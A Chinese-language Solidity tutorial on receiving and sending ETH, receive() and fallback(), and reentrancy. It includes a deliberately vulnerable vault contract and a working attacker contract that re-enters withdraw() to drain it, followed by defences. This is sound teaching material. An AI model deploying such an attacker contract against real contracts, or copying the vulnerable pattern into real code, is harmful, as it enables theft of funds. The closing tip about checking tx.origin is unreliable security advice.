🧾 1. 合约收款方式
payable修饰符
function funcName() public payable() {}
🔹 receive() 函数
✅ 用途
当合约收到纯 ETH 转账(例如 address(this).transfer() 或 address(this).send())且没有调用数据(data为空)时,会调用 receive() 函数。
✅ 语法
receive() external payable { // 收款逻辑 }
-
external:只能被外部调用。 -
payable:允许接收 ETH。 -
不能有参数,也不能返回值。
-
每个合约只能有一个
receive()函数。
✅ 使用场景
contract MyContract {event Received(address sender, uint amount);receive() external payable {emit Received(msg.sender, msg.value);}
}
🔹 fallback() 函数
✅ 用途
-
当调用合约函数时,找不到对应函数签名
-
或者调用时带有数据,但合约中没有
receive()函数可调用
会触发 fallback() 函数。
✅ 语法(两种)
1. 允许收款:
fallback() external payable { // fallback 收款逻辑 }
2. 不收款,仅响应错误调用:
fallback() external { // fallback 非 payable,不能接收 ETH }
``
✅ 使用场景
contract MyContract {event FallbackCalled(address sender, uint amount, bytes data);fallback() external payable {emit FallbackCalled(msg.sender, msg.value, msg.data);}
}
📊 receive vs fallback 对比总结
| 特性 | receive() |
fallback() |
|---|---|---|
| 是否能接收 ETH | 是(必须是 payable) |
可选(payable 或不写) |
| 是否接收 data | 否(data 必须为空) | 是(data 非空或无函数匹配) |
| 是否必须存在 | 否(可选) | 否(可选) |
| 常见触发条件 | 纯 ETH 转账,无数据 | 错误调用或带 data 转账 |
🧠 实战建议
-
如果你只是想接收纯 ETH,可以只写
receive() payable。 -
如果你想对任何未知调用做处理(比如 proxy、日志记录),就用
fallback()。 -
如果两者都写了,Solidity 会优先调用
receive(),只在data不为空时才会调用fallback()。
📥 2. 查看合约收到的余额
address(this).balance
- 返回当前合约地址的 ETH 余额(单位为 wei)
💸 3. 合约向外转账的三种方式
转给 外部账户、合约账户
✅ address.transfer
payable(msg.sender).transfer(1 ether);
- 固定 2300 gas,失败自动 revert
✅ address.send
bool success = payable(msg.sender).send(1 ether);
require(success, "Send failed");
- 同样只提供 2300 gas,但需要手动检查返回值
✅ call(推荐)
(bool success, ) = payable(msg.sender).call{value: 1 ether}("");
require(success, "Call failed");
- 可调 gas,兼容新版本,官方推荐方式
🛡️ 4. 安全建议
-
使用
call替代transfer/send,避免Out of Gas错误 -
使用
ReentrancyGuard防止重入攻击 -
避免在
receive()中执行复杂逻辑
🔐 5. 示例:收款和提款合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;contract Vault {address public owner;constructor() {owner = msg.sender;}receive() external payable {}function withdraw() external {require(msg.sender == owner, "Not owner");(bool success, ) = payable(owner).call{value: address(this).balance}("");require(success, "Withdraw failed");}function getBalance() external view returns (uint) {return address(this).balance;}
}
⚠️ 6. 重入攻击(Reentrancy Attack)
🐞 什么是重入攻击?
当合约调用外部地址(如 call 转账)时,如果该地址是一个合约,它可以在未完成前一次调用前,反复调用回原合约的函数,造成重复提现等安全问题。
🎬 攻击演示:易受攻击的合约
// VulnerableVault.sol
contract VulnerableVault {mapping(address => uint) public balances;function deposit() external payable {balances[msg.sender] += msg.value;}function withdraw() external {require(balances[msg.sender] > 0, "No balance");// 发送 ETH(外部调用,容易被攻击者重入)(bool success, ) = msg.sender.call{value: balances[msg.sender]}("");require(success, "Transfer failed");// 更新余额(放在调用后,导致漏洞)balances[msg.sender] = 0;}
}
🧨 攻击者合约
// Attacker.sol
contract Attacker {VulnerableVault public target;constructor(address _target) {target = VulnerableVault(_target);}// 回调函数,趁机再次提取receive() external payable {if (address(target).balance > 1 ether) {target.withdraw();}}function attack() external payable {require(msg.value >= 1 ether, "Need 1 ETH");target.deposit{value: 1 ether}();target.withdraw();}
}
流程说明
-
👤 用户向 VulnerableVault 合约
deposit()存入 1 ETH -
🧑💻 攻击者调用
withdraw(),触发合约转账call -
🧠 攻击者合约在
receive()中再次调用withdraw() -
🔁 因为合约尚未更新
balances,攻击者可多次提取 -
🏴 合约余额被掏空,攻击成功
🛡️ 如何防止重入攻击?
✅ 使用“检查-效果-交互”模式:
function withdraw() external {uint amount = balances[msg.sender];require(amount > 0, "No balance");// 先更新状态balances[msg.sender] = 0;// 再转账(外部调用)(bool success, ) = msg.sender.call{value: amount}("");require(success, "Transfer failed");
}
✅ 使用 ReentrancyGuard(OpenZeppelin 提供)
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";contract SecureVault is ReentrancyGuard {mapping(address => uint) public balances;function deposit() external payable {balances[msg.sender] += msg.value;}function withdraw() external nonReentrant {uint amount = balances[msg.sender];require(amount > 0, "No balance");balances[msg.sender] = 0;(bool success, ) = msg.sender.call{value: amount}("");require(success, "Transfer failed");}
}
🎯 小结
| 防御措施 | 说明 |
|---|---|
| 状态更新在前 | 防止多次调用利用旧状态 |
使用 ReentrancyGuard |
简洁防御,适合大多数场景 |
| 限制外部合约调用 | 检查 tx.origin 或设白名单 |
